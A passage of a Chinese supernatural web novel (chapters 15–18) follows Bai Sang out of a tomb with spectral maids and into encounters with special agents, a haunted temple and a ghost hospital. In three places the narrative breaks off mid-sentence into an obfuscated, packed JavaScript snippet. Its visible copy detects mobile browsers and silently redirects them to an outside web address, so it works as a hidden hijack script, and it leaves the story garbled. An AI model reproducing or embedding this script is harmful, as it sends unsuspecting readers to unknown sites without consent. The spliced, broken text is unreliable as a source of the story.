白桑看了眼手里的册子,封面上模糊的字迹在此刻变得异常清晰,《遵王令》。 遵王令?遵从的是哪个王的命令?壁画里戴上冕冠的巨人? 白桑的视线在紧闭的青铜门和碎了满地的青铜鼎之间来回,冒出了一个猜测。 庞大阴影演变成了青铜门后那潭血池,是这座墓诞生的源头。巨人演变成了什么,白桑不清楚,但青铜门、《遵王令》甚至于守墓人都可能与他有关。 联想到壁画上的内容,白桑怀疑巨人之所以被送入青铜门,可能也是出于加固对庞大阴影的封印的目的。只是在漫长的岁月变迁后,巨人本身也演变成了另一种存在。 千年万年,代代相传,子子孙孙,永守其墓。 守墓人的存在意义或许就是为了此时此刻——在阴影即将脱困时,遵循上一任的脚步,以己身化作封印,再度困住对方。 15.小山村(14) 考虑到拿着册子不方便,白桑找了个青铜鼎的碎片,在册子上钻了个孔。 本来还担心册子材质特殊,怕没法钻孔。没想到才一用力,碎片就轻松穿透了整本册子,好似这册子之前怎么翻都翻不开是他的错觉一般。 白桑看看手里的册子,再看看青铜碎片,意识到了现场最有价值的东西究竟是什么。 他将册子穿上绳挂到脖子上,然后拾掇拾掇,把满地的青铜碎片全捡了起来,裹进随手扒拉的布里,往身上一背,随身携带的简易包裹就这么诞生了。 确定没有遗漏后,白桑依依不舍的看了眼青铜门——如果说青铜鼎碎片是紫色道具,那青铜门无疑是金色神器…… 不过一想到青铜门后那片诡异血池,白桑立马打消了对神器的垂涎,头也不回的朝甬道尽头爬去。 天光明媚,草长莺飞,长廊曲折,侍女如云。 阳光暖洋洋的洒在身上,驱散墓穴带来的寒意。枝繁叶茂的绿植舒展着身躯,叽叽喳喳的鸟叫声此起彼伏,带来勃勃生机。 曲折回转的长廊连通一个个亭台,遥遥看去,建筑群气势恢宏,规模庞大。 白桑看了眼身后,哪有什么甬道和骷髅,只有蜿蜒曲折的长廊没入建筑群之中。 这究竟是幻觉还是现实?怎么一扭头的功夫,地底的甬道就变成了眼下这生机勃勃的模样? 遥遥看去,侍女们细长白皙的脖子似乎十分美味…… 血色瞳孔突然激动了起来,骤然高涨的食欲从对方身上传来,哪怕被册子过滤了一遍,也仍然残留着一股奇异的饥饿感,以至于白桑的视线不自觉的在那些纤细的脖子间打转。 但侍女难道不就是Z-003的一部分吗?为什么血色瞳孔会对它们产生食欲? 白桑一边盯着白皙的脖子看,一边思考,慢了一拍才意识到侍女们正在朝他的方向靠近。 但它们的接近并没让白桑产生什么情绪起伏,食物链最顶端的捕食者不会因为食物的靠近而感到恐惧,恰恰相反,它只会对此感到饥肠辘辘。 白桑需要努力回想,才能回忆起最初直面青色灯光下那些非人生物时的感受——扑面而来的诡异非人感以及强烈的恐惧。但回忆中的强烈情感逐渐褪色成单调的色彩,完全无法让他感同身受。 不对劲,这很不对劲。 在白桑思考人生时,侍女们顺利的包围了他,完成了它们一开始就该完成的‘任务’——手里捧着衣物的侍女给白桑套上一层层丝织品,然后换衣、洗脸、漱口。 等白桑再回过神来时,他坐在轮椅上,浑身上下干干净净,丝毫没了之前爬甬道时的狼狈。 而焕然一新的白桑在思考一个问题,就算墓室里有陪葬品,也早该在漫长时光中褪色腐朽了。 也就是说,如果这都是幻觉的话,那白桑目前的真正形象可能相当惨不忍睹。 但如果不是幻觉的话,那白桑更不能理解这些新衣服和轮椅到底是从哪来的了,难不成诡域还能自产自销? 侍女们悄无声息的退去,只留下四个侍女随侍在白桑身后,推着轮椅走过长廊。 长廊绕来绕去,不见尽头,侍女和侍卫的身影随处可见。 白桑等了半天,发现这长廊好像是真的没有尽头,才开了口:“去外面。” 身后的侍女默不作声,轮子滚动声络绎不绝。 白桑扭头看了眼,侍女就像一副精美的画,始终保持着垂眉敛目的姿势,既没有表情变化,也没张嘴说过话。 侍女推着轮椅走了几步,长廊忽而不见了踪影,白桑眼前豁然开朗。 远处群山环绕,天地开阔。身后的建筑群依山而建,一路延伸到山壁中,宛若从山体中钻出来的庞然大物。 这不就是小山村之前所在的位置吗? 所以小山村变成了建筑群?那村民呢?难不成全变成侍女和护卫了?但侍女推着他在长廊上转来转去的时候,他也没看到熟悉面孔啊? 不对,这可能还是幻觉,不然怎么能跟跳帧似的,转眼就从长廊跳到建筑群外面了?指不定他眼下正傻乎乎的在墓室里打转呢。 这么一想,白桑秉承着找出破绽的精神仔仔细细的打量起了远处。 叽叽喳喳的鸟群随处可见,时不时能看到鸟兽在天空中掠过,赫然是一派生机勃勃的景象。 白桑看了半晌,没找出问题,决定下点狠料:“下山。” 侍女推着轮椅朝山下走去。白桑再抬眼时,山脚下的柏油马路就映入了他的视野。 之前离开建筑群时,好像也是同样的情况,只是他的一个恍神,眼前的画面就变成了另一个场景。 白桑一只手支在轮椅扶手上,撑着头,看着山脚下的阴影,颇有种‘让我看看这幻觉还能搞出什么花样’的淡然。 然后他就看到了笼罩在阴影中的营地以及吱哇乱叫的一大群熟人。 白桑:? * 周正已提拉着常一,目光如炬的扫视周围。 原本充斥着生活气息的营地,变成了一条灯红酒绿的街道。街道上污水横流,来来往往的行人形形色色,有的表情暗沉,有的眉开眼笑,有的不断嘀咕着‘下一把我就能赢回来了’…… 营地里的村民们被分散到了各处,时不时能听见惊恐的喊声。 常一不解:“这些人怎么一点异常生存常识都没有?他们之前难道没遇到过异常吗?那完了,这些人估计得死上大半。” 周正已迅速在记忆中找到了相关信息:“Y-412,酒吧一条街,该异常的主要运转模式为场景重现,通过酒色财气等元素汲取人的理智,在理智降低到一定程度后,该生物将会永久成为Y-412的一部分。” 常一:“办事处有记载?那突破口呢?这个异常的突破口是什么?” 周正已扫视着街道:“这条街上某个建筑,该建筑具有以下几个特征:客流量不多,店内冲突频繁……” 话还没说完,整条街忽而一颤,从实体转变成了虚化场景,被分散到各处的村民们回到了原位,营地的身影若隐若现,似乎随时会化虚转实。 “什么情况?”墨守仁拿着烟杆警惕的问道:“道长,你找到突破口了?这么快?” 周正已:“我还没来得及动手。” Y-412虚实不定,时而跟营地重叠、时而穿模,直至某个瞬间,Y-412的场景骤然消散,营地变回了原本的模样。 村民们被吓得不行,习惯性的念叨起了“山神爷爷保佑”,以至于整个营地都开始回荡着这句话。 墨守仁眉心一跳,喝止道:“行了行了,没事了,都别念了。” 常一第一时间意识到了不对劲,他伸手指向山上某处:“那是什么?怎么看着像是个人?” 众人朝常一指出的方向看去,血雾笼罩的山林中,居然真影影绰绰的有个东西。 常一声音小了几分:“它怎么越来越近了?那玩意下来了?刚才那个异常突然跑了,不会是因为山上有更可怕的‘大家伙’下来了吧?” 古怪的‘咯吱咯吱’声响起,血雾中的存在离他们越来越近,直到对方突然传出一声“村长”,霎时激起了满场喧嚣。 “是小树苗的声音?小树苗从祠堂出来了?” “山神爷爷保佑!山神爷爷保佑啊!” 跟村民们或欣慰或放松的反应不同,自打血雾里那玩意出现后,常一脖子后头的寒毛就没服帖过,根根直立,毛骨悚然。 墨守仁嘬了口烟杆,听着村民们喃喃自语的‘山神爷爷保佑’,眼前是一黑又一黑。 见没人说话,常一不确定的看向墨守仁:“刚才是不是有人喊了一声村长?” 墨守仁抖掉烟杆里的烟灰,说了个冷笑话:“山上那玩意披着小树苗的皮来找我们了。” * 见居然真能下山,甚至还能在山下见到活灵活现的村民们,白桑不由对幻觉究竟能做到什么地步产生了深刻的好奇。 于是白桑挥了挥手,侍女推着轮椅继续前行,来到了营地围栏外。 嘈杂的动静都消失了,恍若才看到白桑一样,人们脸上浮现出了各色表情,但无一例外,所有人都在后退,试图跟白桑拉开距离。 那些惊恐、诧异、恐惧、悲伤的表情是如此真挚,几乎让白桑以为他们看见了怪物。 难不成在他没察觉到的时候,他又变回了骷髅? 白桑低头检查了下自己的着装,确认没露出不该露的东西(指骨头)后,接着又看向了身后的侍女们。 虽然她们确实不是人,但光用肉眼看的话,也不至于被吓到吧。 * 停滞的身影出现在所有人面前。 常一险些撒腿就跑,堪堪克制住了本能,看清了对方的模样。 白骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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现场沉默了下去,一时间‘我是谁’‘从哪里来’‘要到哪里去’的哲学思考遍布全场,众人不由陷入了对自我和世界的迷思之中。 最后还是周正已打破了沉默:“办事处有排查幻觉的方法……” 他征询的看了眼白桑,确定对方对他接下来的行为没意见后,伸手从袖子里掏出一团拳头大小、用锡纸包裹、且密密麻麻盖满符纸的东西。 白桑兴致勃勃的看着周正已念了一声‘急急如律令’,锡纸上的符纸无风自燃,散发出道观中特有的气味。 常一捂着鼻子,往外走了几步,跟周正已拉开了距离——不过下一秒,他就想起了谁才是真正的大腿,于是又迅速缩回了周正已身后。 墨守仁嘬了口烟杆,这些符纸上具有‘驱邪’效果,能对诡物造成影响,也会让异化程度高的人感到不适。 常一对此的反应不算大,说明他的异化程度不高。 跟他形成鲜明对比的,是兴致勃勃期待后续的‘白桑’,符纸燃起时,白桑没有任何异常反应,看起来比正常人还要正常。 但所有人都清楚,在白桑从血雾中走出来的那一刻开始,他就绝不会是个毫无异常的活人。 符纸燃尽后,灰烬被锡纸尽数吸收。 吸收了足够的力量后,锡纸从固态转变成液体,像是一抹流动的银光。 这个拳头大小的物件就此露出了真面目——蠕动的肉块活了过来,肉芽不断伸缩。 周正已捧着那块肉,表情严肃:“Z-003出现异常状况,特派员‘道长’请求解锁乙级权限。” 话音落下,肉块从周正已的手开始延伸,迅速向上,将他的脑袋包裹在血肉之中,形成了一个银色圆球,在阳光下熠熠生辉。 说实话,这画风实在不怎么正常。 白桑饶有兴致的看着这一幕,琢磨着这要不是幻觉的话,那这个世界可能确实有点过于不正常了。 片刻后,肉块收束,脱离了周正已的脑袋,在蠕动中变成一个由血肉组成的大脑,液化的锡纸像鱼缸般罩在大脑外。 周正已捧着‘鱼缸’,跟白桑介绍道:“这位是Z区办事处副主任,严先生。” 大脑皮层收缩,发出了古怪的人声:“你好,你可以称呼我为严先生,也可以称呼我为‘百眼道人’。” 16.小山村(15) “百眼道人?”白桑盯着会说话的大脑看了几秒,惊讶道:“你还是个道士?” 严先生:“曾经是。” 白桑支着脑袋看了他半晌,沉默在空地上蔓延,气氛再度紧绷了起来。 众人的心思百转千回,唯有白桑自顾自开朗。 他猛得一拍手,吓得其他人心肝乱跳,然后用恍然大悟的语气道:“我知道了,你之前是道士,现在不是,是因为你变成怪物了。” 严先生没否认这个说法,只是道:“彻底异化后,会畸变成无法交流和沟通的怪物。严格来说,我目前正处于彻底异化的分界点。” 白桑:“异化是什么?” 严先生:“异化是异常对人的浸染,是人类在异常中挣扎求生的标志,是每次侥幸在异常中活下来后付出的代价。接触的异常越多,跟异常纠缠得越深,异化程度就会不断加深,直至彻底畸变。” 白桑联想到了诡域:“诡域也会对人类造成影响吗?” 严先生:“异化是一个漫长的拉扯和对峙过程,才给了我们迂回的余地,就像我虽然濒临彻底畸变的分界线,但仍保持着个体的独立性。 而诡域不同,它会立刻收取代价。进入诡域的人一旦失手,要么就此死亡,要么成为伥鬼。而活着离开诡域的人,更需要担心的是自己从诡域里带出来的东西是否安全。” 白桑有种莫名的既视感:“从诡域里带出来的东西?” 他低头看了眼自己的‘新衣服’、轮椅以及身后的侍女们。这些好像都是他从诡域里带出来的……当然,这个前提是他确实已经离开了那座古墓。 偏偏白桑至今无法确定这一点,所以时不时在‘这好像是真的’跟‘这一切都是幻觉’中徘徊。 白桑环顾自身的动作毫无掩饰,其他人纷纷交换了个眼神。 严先生:“诡域中会出现一些特殊物品,但通常都存在副作用,一旦使用就会付出沉重的代价。” 白桑听明白了:“就像是道具?能飞天遁地?还能加属性?” 严先生给人的感觉不像与时俱进的年轻人,没想到居然能跟上白桑的思路,诙谐幽默道:“没错,而且数量稀少,获得它的途径相当困难,还没有使用说明,时不时就得被坑。” 这么一形容,白桑的感觉就好多了——把衣服和轮椅视作稀缺道具的话,白桑就不用担忧自己穿着一身从墓里挖出来的腐烂织物了。 他也有心思去回想自己在甬道里的经历了:“这么说,墓里的青铜鼎也是特殊道具?” 墨守仁:“墓?哪来的墓?” 周正已:“青铜鼎?” 白桑随口道出了他在墓里的发现:“白家人是守墓人,墓里封印着一个阴影怪物。青铜鼎是封印的一部分,幸亏有它,我才能活下来……” 过多的信息量让众人陷入了思考,白桑的视线则不知不觉的落到了远处,张牙舞爪的阴影在天空中延伸,如同群魔乱舞。 身后的群山郁郁葱葱,生机勃勃,隐约还能看见山上的建筑群。 幻觉的范围究竟有多大?还是说他一直在一个固定区域里转圈? 白桑若有所思。 侍女推着轮椅前行,立马引发了鸡飞狗跳的动静——侍女压根没有避开障碍物的自觉,推着轮椅直愣愣的就朝营地过去了。 “诶诶诶,”常一拽着周正已的衣角,来回倒脚,一副想跑又不敢跑的模样:“过来了!过来了!” 墨守仁他们齐刷刷后退,跟白桑保持距离——虽说这么点距离一点用都没有,但起码能带给他们一点心理上的安慰。 周正已捧着‘鱼缸’,喊道:“等一下!” 白桑朝他投去视线,侍女停下了脚步。轮椅抵着营地的围栏,只需稍稍用力就能将它碾碎。 在这种情况下,白桑居然还一脸疑惑的问他们:“怎么了?” 其他人讷讷不敢言,严先生道:“您现在清楚眼下究竟是怎么回事了吗?” 白桑很清楚:“我被困在幻觉中了……” “这不是幻觉。” 严先生严肃道:“虽然不确定您目前到底是什么状况,但就我所‘看到’的画面而言,您的存在是真实的,其他人的存在同样没受到干扰,眼前这一幕就是正在发生的现实。” 至于说白桑是不是被Z-003控制的伥鬼……严先生可以确认对方绝对不是诡物——白桑给他的感觉比诡物可怕多了。 再强大的诡物也只是一只飘忽不定的游虫,聚拢在庞然大物的上方,依靠诡域存活。 而白桑不同,他给严先生的感觉像是深不见底的阴影,带着扑面而来的血腥味和威胁感,以至于严先生除了最开始时‘瞥’了他一眼外,就再也没尝试过窥探对方。 他这么一说,白桑愈发怀疑这不是幻觉了。但这里有个悖论,如果这是幻觉,那幻觉给出的结论能是真的吗?谁知道这是不是幻觉将他拖入深渊的手段之一呢? 他越琢磨,越觉得难以分辨,索性放弃分辨这究竟是幻觉还是现实了。管它是真是假,他都死过那么多次了,难道还怕再死一次不成? 白桑:“我分不清。但我知道我现在大概率不是人了……” 严先生很严谨:“我们通常认为,失去理智、无法沟通且外形彻底畸变的生物才能被定义为‘不是人’。保持自我认知,能正常沟通,且具备人类特征的生物则都可以被归类为‘人’。” 显而易见,在大多数精英普遍出现异化的时代,如果坚守旧时代的理念,那绝大多数‘超凡人士’都将被剔除‘人类’这一种族。 说到这,严先生抛出了真正的目的:“如果您不介意的话,我们想请您前往Z区总办事处,确认一下这究竟是怎么回事。” * 其他人留在原地等待后续救援,周正已提拉着常一跟白桑一起迈上了前往Z区总办事处的路。 才刚迈上柏油路没几分钟,营地就被远远的抛在了身后。 这合理吗?不合理吧? 但从白桑醒来后,这种不合理就层出不穷,眼下已经不会让白桑的心潮有所起伏了。比起这个,周正已手上的‘鱼缸’正逐渐消停下去这一点更吸引他的注意。 白桑:“严先生怎么了?” 周正已:“他在降低活跃度,免得没一会就异化了。” 白桑:“异化?谁?严先生?” 周正已解释道:“不是严先生,是我手上这一部分严先生。它的存在形式比较特殊,一旦被唤醒就意味着即将异化。” 不再活跃的大脑皮层似乎也意味着严先生对周遭感知能力的下降,从刚才开始,他就没再开过口。 周正已:“它主要的作用是在特殊状况下,架构沟通桥梁,确保消息畅通,方便我们获取一手情报。野地没法使用通信设备,所以对特派员来说,确保交流畅通非常重要。” “呕——” 常一有气无力的道:“我忍不住了,我要吐了,呕……” 眼看常一即将吐他一身,周正已一个急刹车,松开了拽着常一的手。 常一就连滚带爬的趴到了路旁,吐了个天翻地覆。 轮椅也跟着停了下来,白桑一脸茫然:“他怎么了?” 周正已黑着脸道:“体质太虚了,不用管他。” 常一吐得奄奄一息,还不忘反驳:“明明是你超速行驶。还没有安全带……被你这么拽着,谁来都得晕。” “都说是你体质太差,回去得好好练练才行……什么东西!”话还没说完,察觉到不对劲的周正已大喝一声,一把提起常一,后退一步,霎时飘远了好几米。 而直到他这一连串动作做完,白桑才反应过来,朝道路左侧看去。 天光昏暗,太阳被阴影遮挡,散发微弱的光。大地上雾蒙蒙的,像是藏着一窝耗子,到处乱窜。 只有白家村所在的那片群山,绿意盎然,生机勃勃。 直到周正已反应过度,白桑才察觉那股涌动的雾气似乎不知不觉的弥漫到了他们附近。 受到刺激,‘鱼缸’中的大脑皮层逐渐活跃了起来,似乎正在从休眠状态苏醒。 柏油路的左侧不知道什么时候冒出了一座小小的古庙。庙宇内的佛像上布满了蜘蛛网,像是许久没人来过。 风吹过,庙外的经幡纷纷飘动,吞吃着泊油路。 眨眼间,柏油路消失了,他们站在了庙前的台阶上,只需再迈一步就能进入眼前这座庙。 见状,常一瞬间不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不是这里灰尘太多,是他被Y-103浸染了,在遇到其他诡域时,产生了排异反应。 换句话说,在诡域眼里,常一是已经被其他存在标记的猎物,闻起来不太‘好吃’。 周正已从袖子里掏出一根香,点燃,弯腰鞠躬——梵音、诵经声骤然响起,佛像拈花一笑,周正已不由跟着露出慈悲笑容。 就在这时,他脑海里骤然响起一声‘急急如律令’,霎时击碎了耳边的梵音,劈裂了他脑海中的佛像。 一时间,周正已眼前的佛像碎裂又黏合,时而狰狞,时而慈悲。 见周正已突然僵在原地,脸上还露出了古怪笑容。常一咬牙,夺过他手上的香,看都没看佛像一眼,直接插进了香炉里。 香炉上升起一柱白烟,越过佛像,越过寺庙,飘到了白桑面前。 白桑目光一凝,看到了一条隐隐约约的山路,路上落满枯叶,与周遭的柏油马路格格不入。 侍女推着轮椅朝左侧走去,越过那道看不见的屏障,眼前的场景骤然切换。 山路和柏油路不见了踪影,佛像的脑袋滚到了白桑面前。 白桑低头打量色彩斑驳的佛首,又看向断壁残垣中的周正已和常一,他们一个脸上带着古怪笑容,一个七窍流血,唯独瞳孔直愣愣的看着佛首,佛首滚到哪,两人的视线就转到哪。 滚来滚去的佛首,莫名惹人心烦。 也可能是因为他只能坐轮椅,但这家伙却能满地跑——总之,白桑看它很不顺眼。 白桑心念一动,随侍两旁的侍女就有了动作。 它们一把按住佛首,佛首在它们手下不断滚动,却怎么都没法挣脱,然后一切骤然平息,佛首不再挣扎,侍女将它捧到了白桑面前。 * 咯吱咯吱的轮椅声响起时,常一的表情骤然凝固。 无穷无尽的血水涌入庙宇,将所有杂物重重的拍到墙上——包括他跟周正已。 常一感觉自己像一尾小鱼,被滔天巨浪拍到了岸上,每根骨头都在发出激烈的抗议声。 血水将佛像从高台上拍落,一波波的冲刷而过,那点斑驳的色彩被洗去,只留下了一尊泥胎,看起来倒是一点都不狰狞了,连带着它之前带给常一的那股心惊肉跳感也消散了不少。 常一刚生出‘你也有今天’的小人得志感,就见涌进庙内的血水突然倒灌了出去,下一秒,整座庙轰然倒塌。 常一被砖头劈头盖脑的砸了一身,在疼痛和奄奄一息中思考一个值得深思的问题——白桑的轮椅能批发吗? 17.诡医院(1) 在常一思考代步工具时,周正已捧着鱼缸,毫发无损的从废墟中钻了出来:“庙怎么塌了?佛像呢?” 常一简明扼要的概况道:“我听见了轮椅声,然后无边无际的血水从外头涌了进来,把庙给冲塌了。” 周正已环顾四周,古庙成了废墟,经幡也不见了踪影。 “进来的路还在,大概率是诡域核心被打破,导致诡域受到了重创……” 常一的注意力被什么东西吸引了过去:“那边是不是有什么东西?” 周正已顺着常一的视线看去,不远处影影错错的站着一行人,身影模糊的人影在他们的注视中逐渐清晰,就好似它们一直都在那似的。 对方似乎没察觉他们的存在,又或是压根不在意他们的想法,仍在继续着原本的动作——侍女将佛首捧到白桑面前,白桑端详了片刻,朝它伸出了手…… 在侍女碰到佛首时,血色瞳孔那的情绪突然激烈了起来,食欲和饥饿感在白桑脑海里不断翻滚,导致佛首都变得软嫩多汁了起来。 白桑伸出手,佛首急剧缩小,变成核桃大小,落入白桑手中。 白桑摩挲着手里的‘核桃’,血色瞳孔安静了下去。 虽说有《遵王令》在,血色瞳孔的恶念无法裹挟白桑的意志,但这不代表它毫无存在感。 即使是蚊子一直在耳边叫,也会让人心烦,更何况血色瞳孔远比蚊子烦人多了,它一直在用负面情绪骚扰白桑,直到现在才有了片刻安宁。 解决了让人心烦的罪魁祸首,白桑心情愉悦的一扭头,发现常一浑身是血的躺在废墟中,不知生死。周正已挖出了自己的眼睛,满地打滚。 鱼缸里的大脑像是打了激素,每块血肉都在生长,将鱼缸挤得满满当当,似乎下一秒就会爆盆。 白桑转动‘核桃’的手一顿——这两人刚才不还活蹦乱跳吗?虽然他忙着处理佛首没跟他们打招呼,但他们刚刚的对话他一字没落全听见了,怎么一扭头就又出事了? 鱼缸发出一声脆响,缸身上冒出了好几条裂纹,肉块眼看就要从裂缝中钻出来了。 白桑投去视线,安静站立的另一个侍女上前捡起了鱼缸。 落入侍女手中后,鱼缸里的动静随之消停。 另一个侍女则将常一跟周正已叠在一起,捧在了手上——跟其他侍女捧着盒子、鱼缸的动作没有任何区别。分量不轻的两个大男人在它手上,就像是两张轻飘飘的纸。 然后,轮椅滚动,回到了柏油路上。 接下来要怎么办? 白桑看了眼侍女手中生死未卜的周正已他们,虽然这俩人的情况看起来相当惨烈,但在侍女将他们捧在手上的时候,他毫无缘由的得出了问题不大的结论。 当然,考虑到他眼下都已经不是人了,对他而言的‘问题不大’对其他人来说可能问题挺大的。 所以哪怕白桑压根不着急,也第一时间将‘找医生’这事放在了首位。 至于医生怎么找……白桑扭头对侍女道:“去找医生,能救人的医生。” 侍女推着轮椅朝某个方向走去,周遭的风景如同PPT一般飞快切换,从山林过度到了平原。 雾气弥漫在原野上,阴影中窸窸窣窣的动静愈发激烈。 只是轮椅一靠近,这些动静就消停了,漂浮不定的雾气让开了路,让他们一路畅通。 白桑摩挲着手里的‘核桃’,在越过一层肉眼无法窥见的薄膜后,来到了人流密集的医院。 医院是白桑熟悉的模样,窗明几净的挂号窗口前排着长长的队伍,护士跟医生来去匆匆,急救车在医院门口大声作响,有人推着担架跑进医院,嘴里喊着:“连环车祸,多来几个医生。” 消毒水的味道在鼻尖弥漫,病患低声呼痛,家属焦急的动静混杂成一团,让此处热闹不已。 侍女推着轮椅堂而皇之的越过长长的队伍,停在挂号窗口前。 白桑伸手敲了敲窗口:“挂号,急诊,挂专家号。” 话说急诊有专家号吗? 白桑思考了两秒,还没得出结论,窗口后的护士就已经露出了甜美的笑容:“好的,已经为您挂好专家号,请上二楼找周医生。” 白桑:“周医生是你们院里最好的医生?” 护士语气笃定:“是的,周医生是我们院里最好的医生,不管什么病都能治好。” 白桑这才满意的点了点头,让侍女推着他去二楼。 一直到轮椅上了楼梯,从刚才起就鸦雀无声的队伍才重新热闹了起来——一堆‘人’撒腿就跑,人来人往的医院瞬间冷清了下来。 几分钟后,有人扶着同伴出现在医院门口,看着异常空旷的医院,顿时警惕了起来:“什么情况?病人呢?不好!诡医院出事了!” 白桑对此浑然不知,他顺利找到了周医生的诊室,然后对着四个脑袋八条胳膊的医生陷入了沉默。 不管怎么样,四个脑袋八个胳膊的医生还是有点过分了……这个世界上难道就没有正常医生能救人了吗? “异化程度多少了?既然还知道看医生,那脑袋应该没出问题,话先说在前头,切下来的东西都得归我,还有我看病的诊费可不便宜……” 办公桌前的医生头也不抬的说着‘注意事项’,说到一半时抬头看了眼‘病人’……然后整个人都凝固了。 下一秒,白大褂从椅子上蹦跶了起来,一手抹布一手拖把,一边擦椅子,一边拖地,四个脑袋都露出了谄媚的笑容:“瞧我都忙昏头了,大白天说起胡话来了。刚才的话您别放在心上,来来来,您坐您坐。” 白桑对它的专业能力产生了极大的怀疑。 周医生被看得心惊肉跳,求生欲大爆发:“病人在哪?快让我看看。我可是诡医院最好的医生,只有我不想治的,没有我治不了的……” 就算现在转身就走,也不能保证他找的下一个医生一定是人,那不如先看看情况再说,毕竟世界都乱成这样了,说不定这医生真有点东西。 白桑暂时打消了走人的念头,让出了身后的病患。 “把病人放床上。”白大褂擦了把汗,指挥纸人将病患放到病床上。 白桑的目光就钉在他背上,可比‘医闹’好用多了,白大褂一秒都不敢犹豫,径直将手插进病患体内,仔细感知病患的情况。 探查完病人的状况后,他松了口气:“不是什么大问题,就是理智降得有点多,导致病人进入了临时疯狂状态。幸好这个病人有过体系化的异化训练,就算什么都不做,等会自己就醒了。另一个病人的情况有点严重,他抗击打的能力太弱了,被砸得到处都是伤……” 说到这,周医生忍不住推销道:“我最近在研究器官植入手术,前阵子我们医院来了几个高等级的诡物,什么骨头、皮肤、肝啊肾的都有,我看这病人的耐受性挺好的,要不要换点高档货……” 血腥气幽幽的飘了过来,周医生肝一颤,话锋陡然一转:“哈哈,开玩笑呢。说正事,这点小伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064241|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题不大……” 白桑更关注对方话里那些陌生名词:“异化训练是什么?” 见对方没有啃个医生吃的意思,周医生放下心来,随口道:“那些人类搞出来的东西。据说是通过跟多个异常深入接触,将不同异常带来的影响维持在一个平衡状态,这样不仅可以获得更多特殊能力,还能延缓身体畸变的速度。” 白桑:“你怎么知道的?” 周医生骄傲的抬起头:“找我治病的除了诡物还有人,偶尔还有办事处的人来呢,接触得多了,知道的自然也就多了。” 合着这世界上的某些怪还能跟人和谐相处?还是说周医生这种类型的怪是特例? 白桑再一次被刷新了世界观,接着问道:“诡物又是什么?” 周医生发现对方有点缺乏常识:“诡域你知道吗?诡物是诡域制造出来的产物。依托诡域存在、遵循诡域运行模式的非人生物。比如说诡医院里的诡物,有像我一样的医生,也有充当病人的,我们的存在意义就是让诡医院能作为一家医院运转下去,确保诡医院能源源不断的汲取营养。” 白桑眉头一皱:“诡物是怎么来的?” 周医生:“自然是诡域里的人类转化而来的。” 白桑看看周医生,再看看自己,若有所思的问道:“你们有身为人类时的记忆吗?” 周医生:“有些有,有些没有。但这没什么影响,就算某些诡物表现出身为人类时的记忆和行为轨迹,也只是为了方便他们欺骗猎物。毕竟本质上人类跟诡物并不是一种生物,狐狸吃鸡的时候难道会去思考鸡在想什么吗?” 白桑生出了疑惑:“有道理,但这不太对吧?” 周医生迅速回忆了一遍自己方才的话,确定没说错,才虚心问道:“哪里不太对?” 白桑提醒他:“你是诡物,对吧?” 周医生点头。 白桑:“那你刚才的表现跟你描述的诡物有半点关系吗?” 周医生沉默半晌,欲言又止,最后大胆发问:“有没有可能,我刚才介绍的是正常情况下人类所要面对的诡物?” 白桑捋顺了逻辑:“但现在既不是正常情况,我也不是人,所以你的反应不正常很正常?” 周医生强颜欢笑。 白桑:“诡物都像你一样人性化?” 周医生没按捺住:“你觉不觉得……你比我更人性化?” 白桑沉默了两秒:“你觉得我是什么?” 周医生语气笃定:“反正肯定不是人。” 白桑不语。 周医生继续道:“是这样的,诡物跟诡物不能一概而论。” “诡域蕴含的能量指数不同,能驱使的诡物等级也不同……办事处的说法太绕口了不好理解。用我们的话来说,越危险的诡域诞生的诡物潜力越大,当然,能不能成长到‘像个人’的地步,要看诡域的环境是否合适。比如说诡医院,有相对安全且稳定的成长环境,诡物的更换速度也不频繁,自然会出现高度人性化的诡。” 白桑:“你的意思是,我可能是高度人性化的诡物?” 周医生小心翼翼的看了眼眼前的血海:“高度人性化的前提是诞生的时间够久,你看起来不太像。而且我也没见过哪个诡物能像你一样凶的……” 周医生边说边瞅白桑——血海翻滚着,时而聚拢成人形,时而将佛首卷上浪头——整个一移动天灾,诡物看了都得说别来碰瓷。那他一见面就给跪下了不很合理吗? 18.诡医院(2) “有点意思,它这是即将彻底诡化了。要想让它变回去,那不是治病,是逆转时间……” 耳边的声音异常谄媚,常一楞了俩秒才反应过来,当即一跃而起:“道长!快跑!它失控了!” 没人回应他,静悄悄的病床里发出‘砰’的一声巨响,常一摔到了地上。 “我的腿……”常一摸着自己的腿,倒吸了口凉气:“好像断了。” 疼痛让他彻底清醒了过来,后知后觉的意识到了环境的变化。 一道白色的帘子隔开病床,床头柜上放着病例和水杯。 常一撩开帘子,左侧是同样被帘子包围的病床,透过帘子下方的空隙,可以看到病床上似乎躺着人。 右侧是另一个用长帘子隔开的大空间,刚才的声音就是从这里传出来的。 这是医院?他们怎么到医院了? 常一不由想起了他失去意识前看到的画面——翻滚的血海形成一个巨大触手,探入佛像之中…… “呕——” 无法克制的恶心感从体内涌现,常一不断干呕,一些翻滚的、扭曲的黑色生物从他嘴里吐了出来。 “运气不错。你的临时疯狂状态不严重。”一个声音在一旁响起,一双带着手套的手拿着镊子将地上那坨东西捡起,放进了罐子里,评价道:“只吐了点异化物,没长其他东西。” 常一捂着嘴,不去回忆自己刚刚吐出了什么东西。 白大褂四头八臂的造型让常一迅速锁定了目标:“这里是诡医院?” 周医生端详着罐子里的东西:“没错。放心吧,有我在,你绝对死不了……” 常一两只手在地上疯狂划拉,火速退到墙根,跟周医生拉开距离:“谁带我来的?我可没同意入院,你们别想割我龟甲!” 